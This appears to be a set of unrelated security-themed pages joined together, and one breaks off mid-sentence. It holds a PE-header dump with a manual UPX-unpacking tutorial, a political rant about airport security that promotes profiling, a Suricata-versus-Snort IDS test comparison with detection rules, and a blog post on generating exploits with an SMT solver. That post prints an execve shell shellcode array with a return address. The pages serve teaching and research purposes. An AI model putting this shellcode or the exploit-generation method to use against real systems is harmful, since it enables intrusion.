IMAGE\_FILE\_32BIT\_MACHINE, IMAGE\_FILE\_EXECUTABLE\_IMAGE,
IMAGE\_FILE\_LINE\_NUMS\_STRIPPED, IMAGE\_FILE\_RELOCS\_STRIPPED
———-OPTIONAL\_HEADER———- \[IMAGE\_OPTIONAL\_HEADER\]  
0xC8 0×0 Magic: 0x10B  
0xCA 0×2 MajorLinkerVersion: 0×5  
0xCB 0×3 MinorLinkerVersion: 0xC  
0xCC 0×4 SizeOfCode: 0×200  
0xD0 0×8 SizeOfInitializedData: 0×400  
0xD4 0xC SizeOfUninitializedData: 0×0  
0xD8 0×10 AddressOfEntryPoint: 0xFFE  
0xDC 0×14 BaseOfCode: 0×1000  
0xE0 0×18 BaseOfData: 0×2000  
0xE4 0x1C ImageBase: 0×400000  
0xE8 0×20 SectionAlignment: 0×1000  
0xEC 0×24 FileAlignment: 0×200  
0xF0 0×28 MajorOperatingSystemVersion: 0×4  
0xF2 0x2A MinorOperatingSystemVersion: 0×0  
0xF4 0x2C MajorImageVersion: 0×0  
0xF6 0x2E MinorImageVersion: 0×0  
0xF8 0×30 MajorSubsystemVersion: 0×4  
0xFA 0×32 MinorSubsystemVersion: 0×0  
0xFC 0×34 Reserved1: 0×0  
0×100 0×38 SizeOfImage: 0×4000  
0×104 0x3C SizeOfHeaders: 0×400  
0×108 0×40 CheckSum: 0×0  
0x10C 0×44 Subsystem: 0×2  
0x10E 0×46 DllCharacteristics: 0×0  
0×110 0×48 SizeOfStackReserve: 0×100000  
0×114 0x4C SizeOfStackCommit: 0×1000  
0×118 0×50 SizeOfHeapReserve: 0×100000  
0x11C 0×54 SizeOfHeapCommit: 0×1000  
0×120 0×58 LoaderFlags: 0×0  
0×124 0x5C NumberOfRvaAndSizes: 0×10 DllCharacteristics: ———-PE Sections———-
\[IMAGE\_SECTION\_HEADER\]  
0x1A8 0×0 Name: .text  
0x1B0 0×8 Misc: 0×26  
0x1B0 0×8 Misc\_PhysicalAddress: 0×26  
0x1B0 0×8 Misc\_VirtualSize: 0×26  
0x1B4 0xC VirtualAddress: 0×1000  
0x1B8 0×10 SizeOfRawData: 0×200  
0x1BC 0×14 PointerToRawData: 0×400  
0x1C0 0×18 PointerToRelocations: 0×0  
0x1C4 0x1C PointerToLinenumbers: 0×0  
0x1C8 0×20 NumberOfRelocations: 0×0  
0x1CA 0×22 NumberOfLinenumbers: 0×0  
0x1CC 0×24 Characteristics: 0×60000020 Flags: IMAGE\_SCN\_CNT\_CODE,
IMAGE\_SCN\_MEM\_EXECUTE, IMAGE\_SCN\_MEM\_READ Entropy: 0**.** 378734
\(Min=0**.** 0, Max=8.0\)  
MD5 hash: 4c606281effe29223bc83ca9145b4f76  
SHA-1 hash: bb75af7ac66e4d653896f43a9dff5bad7c14b792  
SHA-256 hash: fa0adde4c12513dde5497209d960d3f29c1e47bab9d29025641425ec67c1e286  
SHA-512 hash:
8a43e9314e29c38f884f7668ca8c440f37d488d0ef8672db313d643e8e44db871042f7110e72f47fe289c7b2a8831b8b92f093515edb2eae4b5ada7692b118a9
\[IMAGE\_SECTION\_HEADER\]  
0x1D0 0×0 Name: .rdata  
0x1D8 0×8 Misc: 0×92  
0x1D8 0×8 Misc\_PhysicalAddress: 0×92  
0x1D8 0×8 Misc\_VirtualSize: 0×92  
0x1DC 0xC VirtualAddress: 0×2000  
0x1E0 0×10 SizeOfRawData: 0×200  
0x1E4 0×14 PointerToRawData: 0×600  
0x1E8 0×18 PointerToRelocations: 0×0  
0x1EC 0x1C PointerToLinenumbers: 0×0  
0x1F0 0×20 NumberOfRelocations: 0×0  
0x1F2 0×22 NumberOfLinenumbers: 0×0  
0x1F4 0×24 Characteristics: 0×40000040 Flags:
IMAGE\_SCN\_CNT\_INITIALIZED\_DATA, IMAGE\_SCN\_MEM\_READ  
Entropy: 1**.** 144718 \(Min=0.0, Max=8**.** 0\)  
MD5 hash: 768cb8b25733abbd2e7ac650764e7f54  
SHA-1 hash: 52710da9fc596d89ac7f0dcb6d038b7ec85f39ec  
SHA-256 hash: 6a94c94b9d89b59d3d7e3c3c1829ef55e7bf4dd17ddedbe9ec41a1cdbc9f1728  
SHA-512 hash:
5991c9514b027fc5122ec34d3a91e2aa60412953baca52fc537aff2f432c516ea736abb7d302760c6583cacfa8ad667814216aabcb09d8a278ded872efe18933
\[IMAGE\_SECTION\_HEADER\]  
0x1F8 0×0 Name: .data  
0×200 0×8 Misc: 0xD  
0×200 0×8 Misc\_PhysicalAddress: 0xD  
0×200 0×8 Misc\_VirtualSize: 0xD  
0×204 0xC VirtualAddress: 0×3000  
0×208 0×10 SizeOfRawData: 0×200  
0x20C 0×14 PointerToRawData: 0×800  
0×210 0×18 PointerToRelocations: 0×0  
0×214 0x1C PointerToLinenumbers: 0×0  
0×218 0×20 NumberOfRelocations: 0×0  
0x21A 0×22 NumberOfLinenumbers: 0×0  
0x21C 0×24 Characteristics: 0xC0000040 Flags: IMAGE\_SCN\_MEM\_WRITE,
IMAGE\_SCN\_CNT\_INITIALIZED\_DATA, IMAGE\_SCN\_MEM\_READ Entropy: 0**.**
231158 \(Min=0**.** 0, Max=8.0\)  
MD5 hash: e48ff2dac59702844e32e3b3275d376e  
SHA-1 hash: 39b2d4a38baad338a99e271015b9aa7e5b5c5963  
SHA-256 hash: 41f9998ac78561a82e66c9a34ae742e36a0bc4b4b58b44e46743406dfc25fa72  
SHA-512 hash:
5b21dc86b36c27180322ebb1b8f98a0d24c9ba34baec013a9aaccd1d349afad678327ed5be2550ed560aa64a09fe606f49a68f4608751647f0a638019a81a756
———-Directories———- \[IMAGE\_DIRECTORY\_ENTRY\_EXPORT\]  
0×128 0×0 VirtualAddress: 0×0  
0x12C 0×4 Size: 0×0 \[IMAGE\_DIRECTORY\_ENTRY\_IMPORT\]  
0×130 0×0 VirtualAddress: 0×2010  
0×134 0×4 Size: 0x3C \[IMAGE\_DIRECTORY\_ENTRY\_RESOURCE\]  
0×138 0×0 VirtualAddress: 0×0  
0x13C 0×4 Size: 0×0 \[IMAGE\_DIRECTORY\_ENTRY\_EXCEPTION\]  
0×140 0×0 VirtualAddress: 0×0  
0×144 0×4 Size: 0×0 \[IMAGE\_DIRECTORY\_ENTRY\_SECURITY\]  
0×148 0×0 VirtualAddress: 0×0  
0x14C 0×4 Size: 0×0 \[IMAGE\_DIRECTORY\_ENTRY\_BASERELOC\]  
0×150 0×0 VirtualAddress: 0×0  
0×154 0×4 Size: 0×0 \[IMAGE\_DIRECTORY\_ENTRY\_DEBUG\]  
0×158 0×0 VirtualAddress: 0×0  
0x15C 0×4 Size: 0×0 \[IMAGE\_DIRECTORY\_ENTRY\_COPYRIGHT\]  
0×160 0×0 VirtualAddress: 0×0  
0×164 0×4 Size: 0×0 \[IMAGE\_DIRECTORY\_ENTRY\_GLOBALPTR\]  
0×168 0×0 VirtualAddress: 0×0  
0x16C 0×4 Size: 0×0 \[IMAGE\_DIRECTORY\_ENTRY\_TLS\]  
0×170 0×0 VirtualAddress: 0×0  
0×174 0×4 Size: 0×0 \[IMAGE\_DIRECTORY\_ENTRY\_LOAD\_CONFIG\]  
0×178 0×0 VirtualAddress: 0×0  
0x17C 0×4 Size: 0×0 \[IMAGE\_DIRECTORY\_ENTRY\_BOUND\_IMPORT\]  
0×180 0×0 VirtualAddress: 0×0  
0×184 0×4 Size: 0×0 \[IMAGE\_DIRECTORY\_ENTRY\_IAT\]  
0×188 0×0 VirtualAddress: 0×2000  
0x18C 0×4 Size: 0×10 \[IMAGE\_DIRECTORY\_ENTRY\_DELAY\_IMPORT\]  
0×190 0×0 VirtualAddress: 0×0  
0×194 0×4 Size: 0×0 \[IMAGE\_DIRECTORY\_ENTRY\_COM\_DESCRIPTOR\]  
0×198 0×0 VirtualAddress: 0×0  
0x19C 0×4 Size: 0×0 \[IMAGE\_DIRECTORY\_ENTRY\_RESERVED\]  
0x1A0 0×0 VirtualAddress: 0×0  
0x1A4 0×4 Size: 0×0 ———-Imported symbols———- \[IMAGE\_IMPORT\_DESCRIPTOR\]  
0×610 0×0 OriginalFirstThunk: 0x204C  
0×610 0×0 Characteristics: 0x204C  
0×614 0×4 TimeDateStamp: 0×0 \[Thu Jan 01 00:00:00 1970 UTC\]  
0×618 0×8 ForwarderChain: 0×0  
0x61C 0xC Name: 0x206A  
0×620 0×10 FirstThunk: 0×2000 kernel32.dll.ExitProcess Hint\[155\]
\[IMAGE\_IMPORT\_DESCRIPTOR\]  
0×624 0×0 OriginalFirstThunk: 0×2054  
0×624 0×0 Characteristics: 0×2054  
0×628 0×4 TimeDateStamp: 0×0 \[Thu Jan 01 00:00:00 1970 UTC\]  
0x62C 0×8 ForwarderChain: 0×0  
0×630 0xC Name: 0×2086  
0×634 0×10 FirstThunk: 0×2008 user32.dll.MessageBoxA Hint\[433\]  
---  
Sometimes while manually unpacking a packed file, we need to change the
Address of Entry Point to OEP**.**

>>> pe.OPTIONAL\_HEADER.AddressOfEntryPoint = 5000 >>> pe.write\(filename=”
hello1.exe”\)  
---  
**Packed PE files**

A file is packed mainly for 3 purposes:  
• To hide the behaviour of the malware from AV  
• To reduce the size of the exe  
• To prevent crackers from cracking the serial key of the software**.**

PEiD is the best tool available to find whether the executable is packed or
not**.** It can detect signatures of almost all packers available**.**

<img src='img/Temp2_2136.jpg' />

\(A deep scan in PEiD shows that UPX packer was used to pack explorer.exe\)

Though packing an executable makes it difficult to perform static analysis of
a malware, dynamic analysis has no effects because the file ultimately has to
be unpacked before executing**.** Hence, it can only be used to fool a novice
user\!

<img src='img/Temp2_2139.jpg' />

Above diagram shows comparison of packed and unpacked “putty.exe” files
through PE Browse**.** Packing a file with UPX will compress the various
sections present, because these consume the maximum size**.** Compressed
sections are renamed as UPX0, UPX1 and so on**.** We also see that many
imported functions from the various DLLs are missing**.**

The execution of a packed exe starts with the new Address of Entry point**.**
Initially, the register status is saved using PUSHAD instruction**.** Then
unpacking of the packed sections is done followed by resolving the import
table of the original exe**.** Restore the original register status using
POPAD instruction and finally jump to the OEP**.**

Once we understand how a packed exe works, it is easy to unpack it
manually**.** Following steps can be followed while unpacking using OllyDbg as
mentioned in one of the trainings by SecurityXploded:

  1. Start tracing until you encounter a PUSHAD instruction\(generally its the 1st or 2nd instruction\)**.**
  2. Put a hardware breakpoint at address stored by ESP in the immediate next instruction**.**
  3. Press F9 to continue execution. Execution stops at the breakpoint address**.**
  4. Continue tracing until you encounter a JMP instruction which will jump to OEP**.**
  5. At OEP, dump the whole program using Ollydump plugin
  6. Fix Address of Entry point of the new executable and resolve the imports using Import Reconstructor \(ImpRec\)**.**

**References:**

1\] Bin Portable Executable File Format-A Reverse Engineer View

2\] Manual Unpacking of UPX using OllyDbg

3\] pefile module in python

Tweet  
  
****

# Digital Soapbox - Down the Security Rabbithole\!: Security Threat Reset -
Isn't It About Time?

**Created:**| _3/15/2010 10:24:09 PM_  
---|---  
**Updated:**| _3/15/2010 10:24:45 PM_  
**Author:**| __  
**Tags:**| _security people socialising security metrics social Life_  
  

## nday, March 14, 2010

### Security Threat Reset - Isn't It About Time?

**Fair warning \- if you're too politically correct to accept a good rant on
the cold, hard truth - don't read this entry. Move along, the government
cheese and political correctness you so desire will return shortly.**

  
So the threat level has been no lower than "Orange" at the airports since what
... fall of 2001?  
  
At some point we have to grow out of the paranoia the TSA is hoping we
continue to live in \(more on that in a moment\) and just come to grips with
the fact that we're facing a daily threat. That threat is either from
radicalized Muslims, domestic terrorists, or others who for one reason or
another want to see us dead. Let's just come to grips and accept the fact that
there is constant evil in the world. Let's come to grips with the facts that
US foreign policy, coupled with being labeled as "westerners" and having
unacceptable social policies like giving our women equality with men - well
those just aren't acceptable to some peoples living in the dark ages.  
  
Now, having accepted that we can start to do some real  _security_
domestically, digitally. Here are just a few things that I am compelled to
share in light of some of the insanity that's been published lately. ...also I
fly way too much, and live in the digital security industry to just ignore
this crap.  

  1. First and foremost reset the "**threat level** " back to green ... why you ask? Simple - having it up atOrange for so long has begun to do the opposite of what was intended. People are starting to be de-sensitized to the Orange-ness... and if this happens then Orange is the new Green anyway. How many people actually walk around the airport with a  _heightened sense of security_ ... certainly not those out-of-shape, mental midgets wearing TSA badges.
  2. 1 word - **profiling**... Please spare me the petty arguments on how that may hurt someone's feelings - fact is it's done every day. You do it, I do it, and the folks monitoring the world's networks "on-the-wire" do it. There's an entire field of behavioral study in criminology that deals with how to _effectively_ determine whether someone is prone to a certain behavioral pattern ... the political correctness police really need to take a back seat to our safety.
  3. **Cyber Shockwave** was one of the biggest detriments to any  _real security_ on top of the idiocy already in Washington. As I've been shouting for forever now - the government's  _internal networks_ are getting raped repeatedly by foreign entities - now they're going to try and expand their "powers" to private industry? Are you serious? I'm going to go out on a limb here and say our private cellular infrastructure is better secured than the Pentagon. Quote me.
  4. **Security Theater** \(as we all know it\) isn't fooling anyone. Those whole-body scanners, I shudder to say, are the first step to anything meaningful that we've done in airport security in decades. I say _real_ security because obviously the TSA agent with his/her blue light autographing my boarding pass wasn't able to stop some ass-hat "radical" from boarding a flight with a bomb in his jock... right?
  5. Do we really need another **cyber-whatever-czar**? I mean, seriously Obama's got someone appointed for everything ...No one wanted Howard's job ... it's like working for a manager that  _needs you_ to fill a position so you can be the scape-goat when crap goes south, but you won't actually get the power to avoid the crap-hitting-fan situation. Howard Schmidt can't succeed, partly because the government is incompetent, partly because his strategy is wrong - and partly because no one gives a sh\*\* about some super-FUD government project aimed to scare people into readily giving away what tiny shreds of personal privacy \(I know, I know it's a fallacy\) we have left.

Isn't there anyone sane up there in Washington?  
  
Now, where's my rifle...

# Suricata-vs-snort - Aldeid

**Created:**| _4/14/2011 3:28:29 PM_  
---|---  
**Updated:**| _4/14/2011 3:31:40 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS_  
  

## Contents

  * 1 Description
  * 2 Global overview
  * 3 From the tests
    * 3.1 Detailed tests results
    * 3.2 Test rules
    * 3.3 Bad traffic \(non RFC compliant\)
    * 3.4 Fragmented packets
    * 3.5 Multiple failed logins
      * 3.5.1 Description
      * 3.5.2 Suricata
      * 3.5.3 Snort
    * 3.6 Evasion techniques
    * 3.7 Malwares & viruses
    * 3.8 Shellcodes
    * 3.9 Denial of Service
    * 3.10 Client-side attacks
    * 3.11 Performance
    * 3.12 Inline/blocking capabilities
  * 4 Conclusion
  * 5 Comments

  
---  
# Description

For years, Snort \(developed and maintained by SourceFire\) has been the de
facto standard for open source Intrusion Detection/Prevention Systems
\(IDS/IPS\). Its engine combines the benefits of signatures, protocols, and
anomaly-based inspection and has become the most widely deployed IDS/IPS in
the world.

Suricata, a new and less widespread product developed by the Open Information
Security Foundation \(OISF\), has recently appeared, and seems really
promising. It is also based on signatures but integrates revolutionary
techniques. This engine embeds a HTTP normalizer and parser \(HTP library\)
that provides very advanced processing of HTTP streams, enabling the
understanding of traffic on the 7th level of the OSI model.

Tests have been conducted against two platforms receiving the same payloads.
Based on these tests, conclusions will be discussed to present the advantages
and limitations of these two products.

# Global overview

Param | Suricata | Snort  
---|---|---  
IPS feature | optional while compiling \(--enable-nfqueue\) | Snort\_inline or snort compiled and configured with inline options  
Rules | 
  * VRT::Snort rules
  * EmergingThreats rules

  
Threads | Multi-thread | Single-thread  
Ease of install | Not available from packages. Manual installation. | Relatively straightforward. Installation also available from packages.  
Documentation | Few resources on the Internet | Well documented on the official website and over the Internet  
Event logging | Flat file, database, unified2 logs for barnyard  
IPv6 support | Fully supported | Supported when compiled with --enable-ipv6 option.  
Capture accelerators | PF\_RING, packet capture accelerator | None, use of libpcap  
Configuration file | suricata.yaml, classification.config, reference.config, threshold.config | snort.conf, threshold.conf  
Offline analysis \(pcap file\) | yes  
Frontends | Sguil, Aanval, BASE, FPCGUI \(Full Packet Capture GUI\), Snortsnarf  
# From the tests

## Detailed tests results

More than 300 unit tests have been conducted against Suricata and Snort,
following a methodology enabling the calculation of scores. For more
information about the testing platforms, configuration files, scoring
methodology and tools used, please refer to this page.

Test Group | Priority | \# of tests | Suricata score | Snort score  
---|---|---|---|---  
Test rules | 3 | 8 | 6 | 8  
Bad Traffic \(non RFC compliant\) | 2 | 4 | 1 | 1  
Fragmented packets | 2 | 2 | 1 | 3  
Multiple failed logins | 3 | 1 | 1 | 0  
Evasion techniques | 2 | 15 | 21 | 29  
Malware & viruses | 3 | 14 | 9 | 7  
Shellcodes | 3 | 11 | 12 | 7  
Denial of Service \(DoS\) | 3 | 3 | 3 | 3  
Client-side attacks | 3 | 257 | 206 | 69  
**Performance** | 3 | 0 | 2 | 1  
**Inline / Prevention capabilities** | 2 | 0 | 1 | 1  
**TOTAL \(unweighted sum\)** | **315** | **263** | **129**  
**TOTAL \(weighted sum\)** | **765** | **353**  
## Test rules

On a set of 8 attacks, both Suricata and Snort have shown their capabilities
in terms of detection of basic attacks based on rules.

Nevertheless, some comments:

  * for some reasons that I can't explain, some rules are commented by default in the rules files and you will have to manually uncomment them.
  * Suricata won't load some rules due to unrecognized syntax \(69 rule files processed. 11326 rules successfully loaded, 105 rules failed\). Suricata is currently working on that point to integrate the missing keywords \(e.g. file\_data, http\_raw\_uri\) in the engine.

Error code | Error description | \# of rules  
---|---|---  
39 | \[ERRCODE: SC\_ERR\_INVALID\_SIGNATURE\(39\)\] - Previous keyword has a fast\_pattern:only; set. You can't have relative keywords around a fast\_pattern only content | 2  
\[ERRCODE: SC\_ERR\_INVALID\_SIGNATURE\(39\)\] - No preceding content or uricontent or pcre option | 1  
100 | \[ERRCODE: SC\_ERR\_RULE\_KEYWORD\_UNKNOWN\(100\)\] - unknown rule keyword 'file\_data' | 86  
\[ERRCODE: SC\_ERR\_RULE\_KEYWORD\_UNKNOWN\(100\)\] - unknown rule keyword 'http\_raw\_uri' | 6  
101 | \[ERRCODE: SC\_ERR\_FLAGS\_MODIFIER\(101\)\] - FLOW\_PKT\_ESTABLISHED flag is already set | 1  
102 | \[ERRCODE: SC\_ERR\_DISTANCE\_MISSING\_CONTENT\(102\)\] - within needs two preceeding content or uricontent options | 6  
128 | \[ERRCODE: SC\_ERR\_INVALID\_VALUE\(128\)\] - invalid flow option "only\_stream" | 1  
129 | \[ERRCODE: SC\_ERR\_UNKNOWN\_REGEX\_MOD\(129\)\] - unknown regex modifier 'I' | 2  
  * Snort has a preprocessor called sfportscan that gives the advantage over Suricata to detect Nmap ports scans. Suricata has triggered alerts but none indicating a ports scan.

## Bad traffic \(non RFC compliant\)

On a set of 4 attacks, both Suricata and Snort have unsuccessfully detected
bad traffic. I don't know whether it comes from the free rules, but the file
bad-traffic.rules in empty.

## Fragmented packets

On a set of 2 tests implying a _ping of death_ and a _nestea attack_ , Snort's
spp\_frag3 preprocessor has demonstrated its ability to recompose packets and
successfully trigger appropriate alerts. On the other hand, Suricata has only
triggered an alert for the second attack.

A bug has been filed for Suricata:
https://redmine.openinfosecfoundation.org/issues/280. Suricata developers'
team answered that "the defrag engine currently doesn't set events nor expose
them to the signature language. Will be addressed soon."

## Multiple failed logins

### Description

This tests the ability of the engine to detect multiple bad logins against a
service \(e.g. Brute force against FTP\).

### Suricata

Suricata embeds such capabilities \(e.g. flowint\). This has been tested on
Suricata with following manually crafted alerts, using flowint:

[code]

    alert tcp any any -> any any (msg:"Counting Failed Logins"; content:"incorrect"; \
     flowint: username, notset; flowint:username, =, 1; noalert; sid:1;)
    alert tcp any any -> any any (msg:"More than two Failed Logins!"; \
     content:"incorrect"; flowint: username, isset; flowint:username, +, 1; \
     flowint:username, >, 2; sid:2;)
    
    
[/code]

Suricata has demonstrated its ability to detect multiple bad logins against a
FTP service \(vsFTPd\). The alert has been triggered from the 3rd bad login
accordingly to the rule.

### Snort

On the other hand, Snort seems to base its detection of multiple bad logins on
thresholds. Such rules enable to track the alerts:

[code]

    #emerging-ftp.rules (from EmergingThreats rules):
    alert tcp $HOME_NET 21 -> $EXTERNAL_NET any (msg:"GPL FTP FTP Bad login";
    
    
[/code]

flow:from\_server,established; content:"530 "; depth:4; pcre:"/^530\s+\(Login|
User\)/smi"; classtype:bad-unknown; sid:491; rev:9;\)

[code]

    #ftp.rules (from VRT::Snort rules):
    alert tcp $HOME_NET 21 -> $EXTERNAL_NET any (msg:"FTP Bad login";
    
    
[/code]

flow:from\_server,established; content:"530 "; fast\_pattern:only;
pcre:"/^530\s+ \(Login|User\)/smi"; classtype:bad-unknown; sid:491; rev:11;\)

Notice that these rules are commented by default. In addition, Snort needs a
threshold.conf that contains the counter. We haven't been able to test this
feature.

The following tcpdump trace shows that the alert should be triggered
\(presence of "530 Login"\):

[code]

    13:57:04.924508 IP 192.168.100.36.21 > 192.168.100.18.32836: P
    2351380887:2351380909(22) ack 1611369826 win 362 <nop,nop,timestamp 199400575
    3066781>
    0x0000: 4500 004a ad91 4000 4006 4395 c0a8 6424 E..J..@.@.C...d$
    0x0010: c0a8 6412 0015 8044 8c27 3997 600b 8d62 ..d....D.'9.`..b
    0x0020: 8018 016a 49c4 0000 0101 080a 0be2 9c7f ...jI...........
    0x0030: 002e cb9d 3533 3020 4c6f 6769 6e20 696e ....530.Login.in
    0x0040: 636f 7272 6563 742e 0d0a                correct...
    
    
[/code]

In addition, the PCRE engine has been successfully tested:

[code]

    $ **pcretest**
    PCRE version 7.6 2008-01-28
    re> **/^530\s+(Login|User)/smi**
    data> **530 Login incorrect**
    0: 530 Login
    1: Login
    
    
[/code]

At last, the rule itself has been isolated to the local.rules file and has
been successfully loaded by Snort.

A bug has been reported to Snort to understand why the rule doesn't work.

## Evasion techniques

Fifteen evasion techniques have been tested.

Both Snort and Suricata have demonstrated their ability to detect the attacker
on decoy attacks, even on the 7th position, as well as Nmap scans with
fragmentation.

Snort seems to be better than Suricata at detecting certain evasion
techniques, especially the following ones:

  * Random URI encoding \(non-UTF8\)
  * Directory self-reference \(/./\)
  * Prepend long random string
  * Fake parameter
  * Change the case of URL
  * Use Windows directory separator \(\\\)
  * Use binary value 0x0b as a request spacer

In addition, JavaScript obfuscation hasn't been detected by Suricata in our
test campaign.

## Malwares & viruses

The tests have been conducted on 14 malwares and viruses. If Suricata has a
better detection level than Snort, both Suricata and Snort have demonstrated
their ability to detect viruses.

## Shellcodes

On a set of 11 shellcodes, Suricata has detected 9 shellcodes and Snort has
detected 7 shellcodes.

Suricata is better at detecting shellcodes.

## Denial of Service

On a set of 3 tests, both Suricata and Snort have detected the 3 DoS attempts
against SSH and MSSQL services. To notice that the alerts that have been
triggered mainly come from Emerging Threats.

## Client-side attacks

The tests have demonstrated that Suricata is from far better than Snort to
detect client side attacks, with a detection rate of 46% against 16% for
Snort.

## Performance

We did not test this due to not having any hardware that had multiple CPU's,
but according to this article:
http://holisticinfosec.blogspot.com/2010/08/suricata-in-toolsmith-meet-
meerkat.html "Suricata has a noticeable performance improvement with hardware
running multiple CPU's".

## Inline/blocking capabilities

This point has not been tested. Nevertheless, according to AlienVault, both
Suricata and Snort are compliant and have similar blocking capabilities.

# Conclusion

More than 300 tests have been conducted against Suricata and Snort. Not every
feature has been tested \(IP/DNS reputation, performance, ...\) but the tests
were mainly aimed at testing the detection capabilities of the engines.

Both Snort and Suricata are based on sets of rules. Most of the tests have
shown that VRT::Snort and EmergingThreats rules are complementary and are both
needed to optimize the detection of all attack types. In addition, both Snort
and Suricata have demonstrated their ability to detect attacks based on
signatures from rules.

Suricata offers new features that Snort could implement in the future: multi-
threading support, capture accelerators but suffers from a lack of
documentation \(few documentation on the Internet and outdated one on the
official website\). In addition, Suricata doesn't accept some rules from
VRT::Snort and EmergingThreats due to incompatibilities \(no support of
certain keywords\). The support of these missing keywords should be
implemented in future versions of Suricata.

On the other hand, Snort is mature. It remains a very powerful IDS/IPS, very
well documented over the Internet and that properly detects most of the
evasion techniques. Its preprocessors are very usefull for reassembling
fragmented packets.

The comparison of stateful inspection features show that Snort and Suricata
have different approaches. Snort bases the detection on rules and thresholds
to track the number of time a rule is triggered whereas Suricata introduces
session variables \(e.g. via flowint\) enabling to create counters. These
variables can then be used by manual rules \(local.rules file\) to trigger
events. One advantage Suricata has is its ability to understand level 7 of the
OSI model, which enhances its ability of detecting malwares. Suricata has
demonstrated that it is far more efficient than Snort for detecting malwares,
viruses and shellcodes.

As a conclusion, Snort remains the de facto standard for IDS/IPS in production
environments. It is stable, easily configurable and very well documented.
Nevertheless, Suricata is an emerging IDS/IPS that could revolution the
detection techniques and Snort will certainly implement some of these features
\(support of multi-threading\) in future releases. We would still recommend
Snort for production environments but keep a close eye to Suricata since this
conclusion could quickly be updated in a very near future.

# Fun uses for an SMT solver « Sean’s Blog

**Created:**| _9/16/2010 9:53:58 AM_  
---|---  
**Updated:**| _9/16/2010 9:54:15 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation programming awesome SMT_  
  

## Fun uses for an SMT solver

June 1, 2009 by seanhn

An SMT solver \(such as Z3, Yices or STP\) is a decision procedure that can
handle arithmetic and other decidable theories. They make use of procedures
specific to the theories they handle, such as linear arithmetic, in
combination with the brute force of SAT solver. They proceed iteratively by
replacing the sub-expressions in a formula like `(x + y < 10 || x > 9) && (y +
z < 5)` with propositional variables, to give something like `(A || B) &&
(C)`. At this point we can apply a SAT solver to look for a solution. If none
exists then we need not bother with analysing the abstracted expressions, as
the formula is unsatisfiable. If the SAT solver finds a satisfiable solution
we then restore the original expressions and pass the conjunction of this off
to the core decision procedure which can deal with the semantics of the given
theory. This process then proceeds in the standard DPLL method of iteration,
involving finding UNSAT cores and backtracking.

So, theory aside, how can we use this to entertain ourselves/do useful things?
Well, an advantage of an SMT solver over a regular SAT solver is that we can
quite easily express the sort of operations that tend to go on during program
execution. We can model conditions, arithmetic and arrays. Using a theory that
can model operations of this kind we can represent a path through a program
\(or several different paths in fact\). By appending extra constraints we can
then use an SMT solver to generate inputs that will take different conditional
branches \(useful for guiding a fuzzer\), ensure memory locations have a
specific value \(useful for avoiding shellcode filters\) and/or model
conditions we want to check for, such as integer overflows.

A practical example may help illuminate why you might want to use an SMT
solver. Consider the problem of a program containing an exploitable
vulnerability where we have located a suitable buffer for shellcode but we now
need to know what input to provide such that the desired shellcode is in that
buffer when we jump to it. One solution is to use dynamic analysis to gather
the entire path condition over user influenced data and then append the
condition that the buffer we are interested in contains the shellcode. To do
this we will gather all data movement and conditional instructions on tainted
data \(I won’t discuss how to do this here\). At the vulnerability point we
can then express this trace as the input to an SMT solver. Most solvers have
their own API but they should also all accept a SMT-LIB formatted text file
input, which is what I use so as not to tie myself to a single solver. You can
read more about the format here, but essentially our input will have 4
sections.

Suppose, for the sake of having a tractable example, that our vulnerable
program just takes two bytes of input and moves them once into a new location,
and we want to determine what input to provide such that these new locations
have the values 0×41 and 0×42. Our specification to the solver would then
proceed as follows:

Section 1 is a pretty standard header that is basically static unless you want
to use a different logic. I use quantified bitvector logic because it is
easier to model mod32 arithmetic and data movement/conditionals at the byte
and bit level than it would be with linear arithmetic or another logic.

[code]

    (benchmark exploitSample
    :status unknown
    :logic QF_BV
    
    
[/code]

In section two we then specify the name and type of all variables that we
intend to use in the formula itself. The format of valid names is discussed in
a document linked from the SMT-LIB website, but basically follows the same
rules as C.

Here I declare 4 variables, <i0, i1, n256, n257> \(names unimportant\), and I
declare them to be bitvectors of site 8 e.g. they model a single byte

[code]

    :extrafuns ((n256 BitVec[8])(i0 BitVec[8])(n257 BitVec[8])(i1 BitVec[8]))
    
    
[/code]

Section 3 is the assumptions section. Here we can specify the path condition,
i.e. all data movement and conditionals that occured during the dynamic trace.
We could just as easily express these in the next section but for ease of
comprehension I use the assumptions section \(according to the docs some
parsers might also work slightly faster this way\).

The format of this section should be familiar with anyone that has dabbled in
programming languages that are list orientated. It is pretty much `(operator
operand1 operand2 ....)`

This assumption is basically the expression of the conjuction `(n256 := i0)
AND (n257 := i1)`

[code]

    :assumption (and (= n256 i0)(= n257 i1)
    
    
[/code]

Finally, we have our formula. This is of the same format as the assumption
section, but I usually use it to express the part of the problem I want to
solve. e.g. I encode the shellcode here.

\(The form for a bitvector constant is _bvDECIMAL\_VAL\[SIZE\_OF\_VECTOR\]_\)

[code]

    :formula (and (= n256 bv65[8])(= n257 bv66[8]))
    
    
[/code]

Obviously, this is a trivial example and we can quite easily spot the
solution, but in a situation where there are 30+ movements of every byte of
input, as well as conditionals and arithmetic, it quickly becomes impossible
to solve by hand. I’ve used this technique to produce satisfying inputs for
formulae over hundreds of input variables in a matter of seconds. As for the
actual running, we can concatenate the above sections into a text file
\(probably best to use a .smt extension as some solvers seem to look for it\)
and invoke our solver to get something like the following:

[code]

    nnp@test:~/Desktop/yices-1.0.21/bin/$ yices -smt -e < constraints.smt
    sat
    (= i0 0b01000001)
    (= i1 0b01000010)
    
    
[/code]

Which can be parsed back to a C/Python/etc array using a relatively simple
script.

This approach is exactly what I’m doing to auto-generate my exploits. In the
assumptions, I specify everything I’ve traced during program execution, and in
the formula I specify the shellcode and the desired location I want to use it
in \(determined by the method described in a previous post of mine\), as well
as the address of a shellcode trampoline. By also including the information on
what the original user input was, the SMT solver can produce an output with
the exploit information at the desired indexes and valid input at all others.
The finished product is currently something that looks like this:

[code]

    exploitArray = ['\x99\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\
    xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x58\x58\x58\x58\x58\x58\x58\x58\x42
    \x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42
    ...
    42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x39\x84\x04\x08\x42\x42\x42\x42
    ...
    ']
    
    oFile = open('pyExploit.in', 'w')
    oFile.write(''.join(exploitArray))
    oFile.close()
    
    
[/code]

Which was produced from an input file containing only ‘B’s, the required
shellcode and a set of potential trampoline addresses. The tool has determined
